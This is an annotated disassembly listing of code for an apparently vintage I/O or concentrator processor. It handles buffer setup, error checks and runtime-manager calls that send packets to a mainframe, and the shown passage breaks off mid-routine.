0x015C (0x0002B8) 0x291C- f:00024 d: 284 | OR[284] = A
0x015D (0x0002BA) 0x7A03-0x057B f:00075 d: 3 | P = OR[3]+1403 (0x057B)
0x015F (0x0002BE) 0x2122- f:00020 d: 290 | A = OR[290]
0x0160 (0x0002C0) 0x1410- f:00012 d: 16 | A = A + 16 (0x0010)
0x0161 (0x0002C2) 0x2908- f:00024 d: 264 | OR[264] = A
0x0162 (0x0002C4) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0163 (0x0002C6) 0x1A00-0xBFFF f:00015 d: 0 | A = A & 49151 (0xBFFF)
0x0165 (0x0002CA) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0166 (0x0002CC) 0x2122- f:00020 d: 290 | A = OR[290]
0x0167 (0x0002CE) 0x1410- f:00012 d: 16 | A = A + 16 (0x0010)
0x0168 (0x0002D0) 0x2908- f:00024 d: 264 | OR[264] = A
0x0169 (0x0002D2) 0x3108- f:00030 d: 264 | A = (OR[264])
0x016A (0x0002D4) 0x0E01- f:00007 d: 1 | A = A << 1 (0x0001)
0x016B (0x0002D6) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001)
0x016C (0x0002D8) 0x1400- f:00012 d: 0 | A = A + 0 (0x0000)
0x016D (0x0002DA) 0x0C02- f:00006 d: 2 | A = A >> 2 (0x0002)
0x016E (0x0002DC) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x016F (0x0002DE) 0x2122- f:00020 d: 290 | A = OR[290]
0x0170 (0x0002E0) 0x1416- f:00012 d: 22 | A = A + 22 (0x0016)
0x0171 (0x0002E2) 0x2908- f:00024 d: 264 | OR[264] = A
0x0172 (0x0002E4) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0173 (0x0002E6) 0x2928- f:00024 d: 296 | OR[296] = A
0x0174 (0x0002E8) 0x2122- f:00020 d: 290 | A = OR[290]
0x0175 (0x0002EA) 0x1417- f:00012 d: 23 | A = A + 23 (0x0017)
0x0176 (0x0002EC) 0x2908- f:00024 d: 264 | OR[264] = A
0x0177 (0x0002EE) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0178 (0x0002F0) 0x2929- f:00024 d: 297 | OR[297] = A
0x0179 (0x0002F2) 0x2122- f:00020 d: 290 | A = OR[290]
0x017A (0x0002F4) 0x1410- f:00012 d: 16 | A = A + 16 (0x0010)
0x017B (0x0002F6) 0x2908- f:00024 d: 264 | OR[264] = A
0x017C (0x0002F8) 0x3108- f:00030 d: 264 | A = (OR[264])
0x017D (0x0002FA) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x017E (0x0002FC) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x017F (0x0002FE) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x0180 (0x000300) 0x8602- f:00103 d: 2 | P = P + 2 (0x0182), A # 0
0x0181 (0x000302) 0x7030- f:00070 d: 48 | P = P + 48 (0x01B1)
0x0182 (0x000304) 0x1006- f:00010 d: 6 | A = 6 (0x0006)
0x0183 (0x000306) 0x292A- f:00024 d: 298 | OR[298] = A
0x0184 (0x000308) 0x211F- f:00020 d: 287 | A = OR[287]
0x0185 (0x00030A) 0x251E- f:00022 d: 286 | A = A + OR[286]
0x0186 (0x00030C) 0x2908- f:00024 d: 264 | OR[264] = A
0x0187 (0x00030E) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0188 (0x000310) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0189 (0x000312) 0x8402- f:00102 d: 2 | P = P + 2 (0x018B), A = 0
0x018A (0x000314) 0x7015- f:00070 d: 21 | P = P + 21 (0x019F)
@ Call runtime manager funtion 35
0x018B (0x000316) 0x1023- f:00010 d: 35 | A = 35 (0x0023)
0x018C (0x000318) 0x293A- f:00024 d: 314 | OR[314] = A
0x018D (0x00031A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x018E (0x00031C) 0x293B- f:00024 d: 315 | OR[315] = A
0x018F (0x00031E) 0x2128- f:00020 d: 296 | A = OR[296]
0x0190 (0x000320) 0x293C- f:00024 d: 316 | OR[316] = A
0x0191 (0x000322) 0x2129- f:00020 d: 297 | A = OR[297]
0x0192 (0x000324) 0x293D- f:00024 d: 317 | OR[317] = A
0x0193 (0x000326) 0x2118- f:00020 d: 280 | A = OR[280]
0x0194 (0x000328) 0x293E- f:00024 d: 318 | OR[318] = A
0x0195 (0x00032A) 0x212A- f:00020 d: 298 | A = OR[298]
0x0196 (0x00032C) 0x293F- f:00024 d: 319 | OR[319] = A
0x0197 (0x00032E) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0198 (0x000330) 0x2940- f:00024 d: 320 | OR[320] = A
0x0199 (0x000332) 0x113A- f:00010 d: 314 | A = 314 (0x013A)
0x019A (0x000334) 0x5800- f:00054 d: 0 | B = A
0x019B (0x000336) 0x1800-0x4518 f:00014 d: 0 | A = 17688 (0x4518)
0x019D (0x00033A) 0x7C09- f:00076 d: 9 | R = OR[9]
0x019E (0x00033C) 0x7013- f:00070 d: 19 | P = P + 19 (0x01B1)
@ Call runtime maanger function 35
0x019F (0x00033E) 0x1023- f:00010 d: 35 | A = 35 (0x0023)
0x01A0 (0x000340) 0x293A- f:00024 d: 314 | OR[314] = A
0x01A1 (0x000342) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01A2 (0x000344) 0x293B- f:00024 d: 315 | OR[315] = A
0x01A3 (0x000346) 0x2128- f:00020 d: 296 | A = OR[296]
0x01A4 (0x000348) 0x293C- f:00024 d: 316 | OR[316] = A
0x01A5 (0x00034A) 0x2129- f:00020 d: 297 | A = OR[297]
0x01A6 (0x00034C) 0x293D- f:00024 d: 317 | OR[317] = A
0x01A7 (0x00034E) 0x2118- f:00020 d: 280 | A = OR[280]
0x01A8 (0x000350) 0x293E- f:00024 d: 318 | OR[318] = A
0x01A9 (0x000352) 0x212A- f:00020 d: 298 | A = OR[298]
0x01AA (0x000354) 0x293F- f:00024 d: 319 | OR[319] = A
0x01AB (0x000356) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x01AC (0x000358) 0x2940- f:00024 d: 320 | OR[320] = A
0x01AD (0x00035A) 0x113A- f:00010 d: 314 | A = 314 (0x013A)
0x01AE (0x00035C) 0x5800- f:00054 d: 0 | B = A
0x01AF (0x00035E) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01B0 (0x000360) 0x7C09- f:00076 d: 9 | R = OR[9]
0x01B1 (0x000362) 0x2122- f:00020 d: 290 | A = OR[290]
0x01B2 (0x000364) 0x141A- f:00012 d: 26 | A = A + 26 (0x001A)
0x01B3 (0x000366) 0x2908- f:00024 d: 264 | OR[264] = A
0x01B4 (0x000368) 0x3108- f:00030 d: 264 | A = (OR[264])
0x01B5 (0x00036A) 0x2928- f:00024 d: 296 | OR[296] = A
0x01B6 (0x00036C) 0x2122- f:00020 d: 290 | A = OR[290]
0x01B7 (0x00036E) 0x141B- f:00012 d: 27 | A = A + 27 (0x001B)
0x01B8 (0x000370) 0x2908- f:00024 d: 264 | OR[264] = A
0x01B9 (0x000372) 0x3108- f:00030 d: 264 | A = (OR[264])
0x01BA (0x000374) 0x2929- f:00024 d: 297 | OR[297] = A
0x01BB (0x000376) 0x2127- f:00020 d: 295 | A = OR[295]
0x01BC (0x000378) 0xAC03-0x028D f:00126 d: 3 | P = OR[3]+653 (0x028D), A = 0
0x01BE (0x00037C) 0x0400- f:00002 d: 0 | I = 0
0x01BF (0x00037E) 0x0000- f:00000 d: 0 | PASS
0x01C0 (0x000380) 0x7E03-0x05C2 f:00077 d: 3 | R = OR[3]+1474 (0x05C2)
0x01C2 (0x000384) 0x0600- f:00003 d: 0 | I = 1
0x01C3 (0x000386) 0x8602- f:00103 d: 2 | P = P + 2 (0x01C5), A # 0
0x01C4 (0x000388) 0x7004- f:00070 d: 4 | P = P + 4 (0x01C8)
0x01C5 (0x00038A) 0x291C- f:00024 d: 284 | OR[284] = A
0x01C6 (0x00038C) 0x7A03-0x057B f:00075 d: 3 | P = OR[3]+1403 (0x057B) @ Print error message in OR[284]
0x01C8 (0x000390) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01C9 (0x000392) 0x2927- f:00024 d: 295 | OR[295] = A
0x01CA (0x000394) 0x7E03-0x053D f:00077 d: 3 | R = OR[3]+1341 (0x053D) @ Test transfer completed, update OR[284] - the error code
0x01CC (0x000398) 0x211C- f:00020 d: 284 | A = OR[284]
0x01CD (0x00039A) 0x1E00-0x004B f:00017 d: 0 | A = A - 75 (0x004B)
0x01CF (0x00039E) 0x8406- f:00102 d: 6 | P = P + 6 (0x01D5), A = 0
0x01D0 (0x0003A0) 0x211C- f:00020 d: 284 | A = OR[284]
0x01D1 (0x0003A2) 0x1E00-0x002C f:00017 d: 0 | A = A - 44 (0x002C)
0x01D3 (0x0003A6) 0x8402- f:00102 d: 2 | P = P + 2 (0x01D5), A = 0
0x01D4 (0x0003A8) 0x7003- f:00070 d: 3 | P = P + 3 (0x01D7)
0x01D5 (0x0003AA) 0x7A03-0x057B f:00075 d: 3 | P = OR[3]+1403 (0x057B) @ Print error message in OR[284]
0x01D7 (0x0003AE) 0x211D- f:00020 d: 285 | A = OR[285]
0x01D8 (0x0003B0) 0x8603- f:00103 d: 3 | P = P + 3 (0x01DB), A # 0
0x01D9 (0x0003B2) 0x7A03-0x0212 f:00075 d: 3 | P = OR[3]+530 (0x0212)
0x01DB (0x0003B6) 0x212E- f:00020 d: 302 | A = OR[302]
0x01DC (0x0003B8) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x01DD (0x0003BA) 0x2908- f:00024 d: 264 | OR[264] = A
0x01DE (0x0003BC) 0x3108- f:00030 d: 264 | A = (OR[264])
0x01DF (0x0003BE) 0x2931- f:00024 d: 305 | OR[305] = A
0x01E0 (0x0003C0) 0x2131- f:00020 d: 305 | A = OR[305]
0x01E1 (0x0003C2) 0x0A02- f:00005 d: 2 | A = A < 2 (0x0002)
0x01E2 (0x0003C4) 0x2931- f:00024 d: 305 | OR[305] = A
0x01E3 (0x0003C6) 0x2123- f:00020 d: 291 | A = OR[291]
0x01E4 (0x0003C8) 0x142C- f:00012 d: 44 | A = A + 44 (0x002C)
0x01E5 (0x0003CA) 0x2908- f:00024 d: 264 | OR[264] = A
0x01E6 (0x0003CC) 0x2131- f:00020 d: 305 | A = OR[305]
0x01E7 (0x0003CE) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x01E8 (0x0003D0) 0x212E- f:00020 d: 302 | A = OR[302]
0x01E9 (0x0003D2) 0x1404- f:00012 d: 4 | A = A + 4 (0x0004)
0x01EA (0x0003D4) 0x2908- f:00024 d: 264 | OR[264] = A
0x01EB (0x0003D6) 0x3108- f:00030 d: 264 | A = (OR[264])
0x01EC (0x0003D8) 0x0805- f:00004 d: 5 | A = A > 5 (0x0005)
0x01ED (0x0003DA) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x01EE (0x0003DC) 0x2935- f:00024 d: 309 | OR[309] = A
0x01EF (0x0003DE) 0x2135- f:00020 d: 309 | A = OR[309]
0x01F0 (0x0003E0) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x01F1 (0x0003E2) 0x2935- f:00024 d: 309 | OR[309] = A
0x01F2 (0x0003E4) 0x2123- f:00020 d: 291 | A = OR[291]
0x01F3 (0x0003E6) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x01F4 (0x0003E8) 0x2908- f:00024 d: 264 | OR[264] = A
0x01F5 (0x0003EA) 0x3108- f:00030 d: 264 | A = (OR[264])
0x01F6 (0x0003EC) 0x0E04- f:00007 d: 4 | A = A << 4 (0x0004)
0x01F7 (0x0003EE) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001)
0x01F8 (0x0003F0) 0x2535- f:00022 d: 309 | A = A + OR[309]
0x01F9 (0x0003F2) 0x0C05- f:00006 d: 5 | A = A >> 5 (0x0005)
0x01FA (0x0003F4) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x01FB (0x0003F6) 0x312E- f:00030 d: 302 | A = (OR[302])
0x01FC (0x0003F8) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x01FD (0x0003FA) 0x2931- f:00024 d: 305 | OR[305] = A
0x01FE (0x0003FC) 0xAE03-0x0207 f:00127 d: 3 | P = OR[3]+519 (0x0207), A # 0
0x0200 (0x000400) 0x700A- f:00070 d: 10 | P = P + 10 (0x020A)
0x0201 (0x000402) 0x2123- f:00020 d: 291 | A = OR[291]
0x0202 (0x000404) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0203 (0x000406) 0x2908- f:00024 d: 264 | OR[264] = A
0x0204 (0x000408) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0205 (0x00040A) 0x0E03- f:00007 d: 3 | A = A << 3 (0x0003)
0x0206 (0x00040C) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001)
0x0207 (0x00040E) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0208 (0x000410) 0x0C04- f:00006 d: 4 | A = A >> 4 (0x0004)
0x0209 (0x000412) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x020A (0x000414) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x020B (0x000416) 0x291D- f:00024 d: 285 | OR[285] = A
0x020C (0x000418) 0x2124- f:00020 d: 292 | A = OR[292]
0x020D (0x00041A) 0x2931- f:00024 d: 305 | OR[305] = A
0x020E (0x00041C) 0x212E- f:00020 d: 302 | A = OR[302]
0x020F (0x00041E) 0x2924- f:00024 d: 292 | OR[292] = A
0x0210 (0x000420) 0x2131- f:00020 d: 305 | A = OR[305]
0x0211 (0x000422) 0x292E- f:00024 d: 302 | OR[302] = A
0x0212 (0x000424) 0x2125- f:00020 d: 293 | A = OR[293]
0x0213 (0x000426) 0x0802- f:00004 d: 2 | A = A > 2 (0x0002)
0x0214 (0x000428) 0x292A- f:00024 d: 298 | OR[298] = A
0x0215 (0x00042A) 0x211F- f:00020 d: 287 | A = OR[287]
0x0216 (0x00042C) 0x8602- f:00103 d: 2 | P = P + 2 (0x0218), A # 0
0x0217 (0x00042E) 0x7005- f:00070 d: 5 | P = P + 5 (0x021C)
0x0218 (0x000430) 0x2120- f:00020 d: 288 | A = OR[288]
0x0219 (0x000432) 0x8602- f:00103 d: 2 | P = P + 2 (0x021B), A # 0
0x021A (0x000434) 0x2F1F- f:00027 d: 287 | OR[287] = OR[287] - 1
0x021B (0x000436) 0x700F- f:00070 d: 15 | P = P + 15 (0x022A)
0x021C (0x000438) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x021D (0x00043A) 0x291E- f:00024 d: 286 | OR[286] = A
0x021E (0x00043C) 0x2122- f:00020 d: 290 | A = OR[290]
0x021F (0x00043E) 0x141E- f:00012 d: 30 | A = A + 30 (0x001E)
0x0220 (0x000440) 0x2908- f:00024 d: 264 | OR[264] = A
0x0221 (0x000442) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0222 (0x000444) 0x2928- f:00024 d: 296 | OR[296] = A
0x0223 (0x000446) 0x2122- f:00020 d: 290 | A = OR[290]
0x0224 (0x000448) 0x141F- f:00012 d: 31 | A = A + 31 (0x001F)
0x0225 (0x00044A) 0x2908- f:00024 d: 264 | OR[264] = A
0x0226 (0x00044C) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0227 (0x00044E) 0x2929- f:00024 d: 297 | OR[297] = A
0x0228 (0x000450) 0x1003- f:00010 d: 3 | A = 3 (0x0003)
0x0229 (0x000452) 0x292A- f:00024 d: 298 | OR[298] = A
0x022A (0x000454) 0x211F- f:00020 d: 287 | A = OR[287]
0x022B (0x000456) 0x251E- f:00022 d: 286 | A = A + OR[286]
0x022C (0x000458) 0x2908- f:00024 d: 264 | OR[264] = A
0x022D (0x00045A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x022E (0x00045C) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x022F (0x00045E) 0x8602- f:00103 d: 2 | P = P + 2 (0x0231), A # 0
0x0230 (0x000460) 0x7032- f:00070 d: 50 | P = P + 50 (0x0262)
0x0231 (0x000462) 0x211F- f:00020 d: 287 | A = OR[287]
0x0232 (0x000464) 0x8602- f:00103 d: 2 | P = P + 2 (0x0234), A # 0
0x0233 (0x000466) 0x700B- f:00070 d: 11 | P = P + 11 (0x023E)
0x0234 (0x000468) 0x2120- f:00020 d: 288 | A = OR[288]
0x0235 (0x00046A) 0x8603- f:00103 d: 3 | P = P + 3 (0x0238), A # 0
0x0236 (0x00046C) 0x212F- f:00020 d: 303 | A = OR[303]
0x0237 (0x00046E) 0x2920- f:00024 d: 288 | OR[288] = A
0x0238 (0x000470) 0x7E03-0x05FC f:00077 d: 3 | R = OR[3]+1532 (0x05FC)
0x023A (0x000474) 0x2120- f:00020 d: 288 | A = OR[288]
0x023B (0x000476) 0x2725- f:00023 d: 293 | A = A - OR[293]
0x023C (0x000478) 0x2920- f:00024 d: 288 | OR[288] = A
0x023D (0x00047A) 0x7005- f:00070 d: 5 | P = P + 5 (0x0242)
0x023E (0x00047C) 0x100C- f:00010 d: 12 | A = 12 (0x000C)
0x023F (0x00047E) 0x2925- f:00024 d: 293 | OR[293] = A
0x0240 (0x000480) 0x211E- f:00020 d: 286 | A = OR[286]
0x0241 (0x000482) 0x292E- f:00024 d: 302 | OR[302] = A
0x0242 (0x000484) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x0243 (0x000486) 0x2927- f:00024 d: 295 | OR[295] = A
0x0244 (0x000488) 0x7E03-0x0514 f:00077 d: 3 | R = OR[3]+1300 (0x0514) @ Start concentrator data transfer
0x0246 (0x00048C) 0x2122- f:00020 d: 290 | A = OR[290]
0x0247 (0x00048E) 0x1410- f:00012 d: 16 | A = A + 16 (0x0010)
0x0248 (0x000490) 0x2908- f:00024 d: 264 | OR[264] = A
0x0249 (0x000492) 0x3108- f:00030 d: 264 | A = (OR[264])
0x024A (0x000494) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x024B (0x000496) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x024C (0x000498) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x024D (0x00049A) 0x8602- f:00103 d: 2 | P = P + 2 (0x024F), A # 0
0x024E (0x00049C) 0x7013- f:00070 d: 19 | P = P + 19 (0x0261)
@ Call runtime manager function 35
0x024F (0x00049E) 0x1023- f:00010 d: 35 | A = 35 (0x0023)
0x0250 (0x0004A0) 0x293A- f:00024 d: 314 | OR[314] = A
0x0251 (0x0004A2) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0252 (0x0004A4) 0x293B- f:00024 d: 315 | OR[315] = A
0x0253 (0x0004A6) 0x2128- f:00020 d: 296 | A = OR[296]
0x0254 (0x0004A8) 0x293C- f:00024 d: 316 | OR[316] = A
0x0255 (0x0004AA) 0x2129- f:00020 d: 297 | A = OR[297]
0x0256 (0x0004AC) 0x293D- f:00024 d: 317 | OR[317] = A
0x0257 (0x0004AE) 0x2124- f:00020 d: 292 | A = OR[292]
0x0258 (0x0004B0) 0x293E- f:00024 d: 318 | OR[318] = A
0x0259 (0x0004B2) 0x212A- f:00020 d: 298 | A = OR[298]
0x025A (0x0004B4) 0x293F- f:00024 d: 319 | OR[319] = A
0x025B (0x0004B6) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x025C (0x0004B8) 0x2940- f:00024 d: 320 | OR[320] = A
0x025D (0x0004BA) 0x113A- f:00010 d: 314 | A = 314 (0x013A)
0x025E (0x0004BC) 0x5800- f:00054 d: 0 | B = A
0x025F (0x0004BE) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0260 (0x0004C0) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0261 (0x0004C2) 0x701D- f:00070 d: 29 | P = P + 29 (0x027E)
0x0262 (0x0004C4) 0x2122- f:00020 d: 290 | A = OR[290]
0x0263 (0x0004C6) 0x1410- f:00012 d: 16 | A = A + 16 (0x0010)
0x0264 (0x0004C8) 0x2908- f:00024 d: 264 | OR[264] = A
0x0265 (0x0004CA) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0266 (0x0004CC) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x0267 (0x0004CE) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x0268 (0x0004D0) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x0269 (0x0004D2) 0x8602- f:00103 d: 2 | P = P + 2 (0x026B), A # 0
0x026A (0x0004D4) 0x7014- f:00070 d: 20 | P = P + 20 (0x027E)
@ Call runtime manager function 35
0x026B (0x0004D6) 0x1023- f:00010 d: 35 | A = 35 (0x0023)
0x026C (0x0004D8) 0x293A- f:00024 d: 314 | OR[314] = A
0x026D (0x0004DA) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x026E (0x0004DC) 0x293B- f:00024 d: 315 | OR[315] = A
0x026F (0x0004DE) 0x2128- f:00020 d: 296 | A = OR[296]
0x0270 (0x0004E0) 0x293C- f:00024 d: 316 | OR[316] = A
0x0271 (0x0004E2) 0x2129- f:00020 d: 297 | A = OR[297]
0x0272 (0x0004E4) 0x293D- f:00024 d: 317 | OR[317] = A
0x0273 (0x0004E6) 0x2124- f:00020 d: 292 | A = OR[292]
0x0274 (0x0004E8) 0x293E- f:00024 d: 318 | OR[318] = A
0x0275 (0x0004EA) 0x212A- f:00020 d: 298 | A = OR[298]
0x0276 (0x0004EC) 0x293F- f:00024 d: 319 | OR[319] = A
0x0277 (0x0004EE) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0278 (0x0004F0) 0x2940- f:00024 d: 320 | OR[320] = A
0x0279 (0x0004F2) 0x113A- f:00010 d: 314 | A = 314 (0x013A)
0x027A (0x0004F4) 0x5800- f:00054 d: 0 | B = A
0x027B (0x0004F6) 0x1800-0x4518 f:00014 d: 0 | A = 17688 (0x4518)
0x027D (0x0004FA) 0x7C09- f:00076 d: 9 | R = OR[9]
0x027E (0x0004FC) 0x211F- f:00020 d: 287 | A = OR[287]
0x027F (0x0004FE) 0x8602- f:00103 d: 2 | P = P + 2 (0x0281), A # 0
0x0280 (0x000500) 0x7006- f:00070 d: 6 | P = P + 6 (0x0286)
0x0281 (0x000502) 0x2129- f:00020 d: 297 | A = OR[297]
0x0282 (0x000504) 0x252A- f:00022 d: 298 | A = A + OR[298]
0x0283 (0x000506) 0x2929- f:00024 d: 297 | OR[297] = A
0x0284 (0x000508) 0x8002- f:00100 d: 2 | P = P + 2 (0x0286), C = 0
0x0285 (0x00050A) 0x2D28- f:00026 d: 296 | OR[296] = OR[296] + 1
0x0286 (0x00050C) 0x72CB- f:00071 d: 203 | P = P - 203 (0x01BB)
0x0287 (0x00050E) 0x2122- f:00020 d: 290 | A = OR[290]
0x0288 (0x000510) 0x1410- f:00012 d: 16 | A = A + 16 (0x0010)
0x0289 (0x000512) 0x2908- f:00024 d: 264 | OR[264] = A
0x028A (0x000514) 0x3108- f:00030 d: 264 | A = (OR[264])
0x028B (0x000516) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x028C (0x000518) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x028D (0x00051A) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x028E (0x00051C) 0x8465- f:00102 d: 101 | P = P + 101 (0x02F3), A = 0
0x028F (0x00051E) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0290 (0x000520) 0x2937- f:00024 d: 311 | OR[311] = A
0x0291 (0x000522) 0x2100- f:00020 d: 256 | A = OR[256] @ Set buffer offset 62 lower byte to 4
0x0292 (0x000524) 0x143E- f:00012 d: 62 | A = A + 62 (0x003E)
0x0293 (0x000526) 0x2908- f:00024 d: 264 | OR[264] = A
0x0294 (0x000528) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0295 (0x00052A) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x0297 (0x00052E) 0x1404- f:00012 d: 4 | A = A + 4 (0x0004)
0x0298 (0x000530) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0299 (0x000532) 0x2122- f:00020 d: 290 | A = OR[290]
0x029A (0x000534) 0x1410- f:00012 d: 16 | A = A + 16 (0x0010)
0x029B (0x000536) 0x2908- f:00024 d: 264 | OR[264] = A
0x029C (0x000538) 0x3108- f:00030 d: 264 | A = (OR[264])
0x029D (0x00053A) 0x0E06- f:00007 d: 6 | A = A << 6 (0x0006)
0x029E (0x00053C) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001)
0x029F (0x00053E) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x02A0 (0x000540) 0x0C07- f:00006 d: 7 | A = A >> 7 (0x0007)
0x02A1 (0x000542) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x02A2 (0x000544) 0x2122- f:00020 d: 290 | A = OR[290]
0x02A3 (0x000546) 0x140C- f:00012 d: 12 | A = A + 12 (0x000C)
0x02A4 (0x000548) 0x2908- f:00024 d: 264 | OR[264] = A
0x02A5 (0x00054A) 0x2102- f:00020 d: 258 | A = OR[258]
0x02A6 (0x00054C) 0x3908- f:00034 d: 264 | (OR[264]) = A
@ Call runtime manager function 36 - sending packet to mainframe
0x02A7 (0x00054E) 0x1024- f:00010 d: 36 | A = 36 (0x0024)
0x02A8 (0x000550) 0x293A- f:00024 d: 314 | OR[314] = A
0x02A9 (0x000552) 0x2122- f:00020 d: 290 | A = OR[290]
0x02AA (0x000554) 0x293B- f:00024 d: 315 | OR[315] = A
0x02AB (0x000556) 0x113A- f:00010 d: 314 | A = 314 (0x013A)
0x02AC (0x000558) 0x5800- f:00054 d: 0 | B = A
0x02AD (0x00055A) 0x1800-0x4518 f:00014 d: 0 | A = 17688 (0x4518)
0x02AF (0x00055E) 0x7C09- f:00076 d: 9 | R = OR[9] @ This is at 0x4199
0x02B0 (0x000560) 0x2006- f:00020 d: 6 | A = OR[6]
0x02B1 (0x000562) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B)
0x02B2 (0x000564) 0x2908- f:00024 d: 264 | OR[264] = A
0x02B3 (0x000566) 0x3108- f:00030 d: 264 | A = (OR[264])
0x02B4 (0x000568) 0x2932- f:00024 d: 306 | OR[306] = A
0x02B5 (0x00056A) 0x2122- f:00020 d: 290 | A = OR[290]
0x02B6 (0x00056C) 0x1406- f:00012 d: 6 | A = A + 6 (0x0006)
0x02B7 (0x00056E) 0x2908- f:00024 d: 264 | OR[264] = A
0x02B8 (0x000570) 0x3108- f:00030 d: 264 | A = (OR[264])
0x02B9 (0x000572) 0x2921- f:00024 d: 289 | OR[289] = A
0x02BA (0x000574) 0x2132- f:00020 d: 306 | A = OR[306]
0x02BB (0x000576) 0x8402- f:00102 d: 2 | P = P + 2 (0x02BD), A = 0
0x02BC (0x000578) 0x701A- f:00070 d: 26 | P = P + 26 (0x02D6)
0x02BD (0x00057A) 0x2121- f:00020 d: 289 | A = OR[289]
0x02BE (0x00057C) 0x140A- f:00012 d: 10 | A = A + 10 (0x000A)
0x02BF (0x00057E) 0x290D- f:00024 d: 269 | OR[269] = A
0x02C0 (0x000580) 0x2122- f:00020 d: 290 | A = OR[290]
0x02C1 (0x000582) 0x140A- f:00012 d: 10 | A = A + 10 (0x000A)
0x02C2 (0x000584) 0x290E- f:00024 d: 270 | OR[270] = A
0x02C3 (0x000586) 0x1016- f:00010 d: 22 | A = 22 (0x0016)
0x02C4 (0x000588) 0x290F- f:00024 d: 271 | OR[271] = A
0x02C5 (0x00058A) 0x7006- f:00070 d: 6 | P = P + 6 (0x02CB)
0x02C6 (0x00058C) 0x310D- f:00030 d: 269 | A = (OR[269])
0x02C7 (0x00058E) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x02C8 (0x000590) 0x2D0D- f:00026 d: 269 | OR[269] = OR[269] + 1
0x02C9 (0x000592) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1
0x02CA (0x000594) 0x2F0F- f:00027 d: 271 | OR[271] = OR[271] - 1
0x02CB (0x000596) 0x210F- f:00020 d: 271 | A = OR[271]
0x02CC (0x000598) 0x8E06- f:00107 d: 6 | P = P - 6 (0x02C6), A # 0
@ Call runtime manager function 23
0x02CD (0x00059A) 0x1017- f:00010 d: 23 | A = 23 (0x0017)
0x02CE (0x00059C) 0x293A- f:00024 d: 314 | OR[314] = A
0x02CF (0x00059E) 0x2121- f:00020 d: 289 | A = OR[289]
0x02D0 (0x0005A0) 0x293B- f:00024 d: 315 | OR[315] = A
0x02D1 (0x0005A2) 0x113A- f:00010 d: 314 | A = 314 (0x013A)
0x02D2 (0x0005A4) 0x5800- f:00054 d: 0 | B = A
0x02D3 (0x0005A6) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x02D4 (0x0005A8) 0x7C09- f:00076 d: 9 | R = OR[9]
0x02D5 (0x0005AA) 0x7018- f:00070 d: 24 | P = P + 24 (0x02ED)
0x02D6 (0x0005AC) 0x2132- f:00020 d: 306 | A = OR[306]
0x02D7 (0x0005AE) 0x1E00-0x0044 f:00017 d: 0 | A = A - 68 (0x0044)
0x02D9 (0x0005B2) 0x8602- f:00103 d: 2 | P = P + 2 (0x02DB), A # 0
0x02DA (0x0005B4) 0x700E- f:00070 d: 14 | P = P + 14 (0x02E8)
0x02DB (0x0005B6) 0x2132- f:00020 d: 306 | A = OR[306]
0x02DC (0x0005B8) 0x1E00-0x0034 f:00017 d: 0 | A = A - 52 (0x0034)
0x02DE (0x0005BC) 0x8602- f:00103 d: 2 | P = P + 2 (0x02E0), A # 0
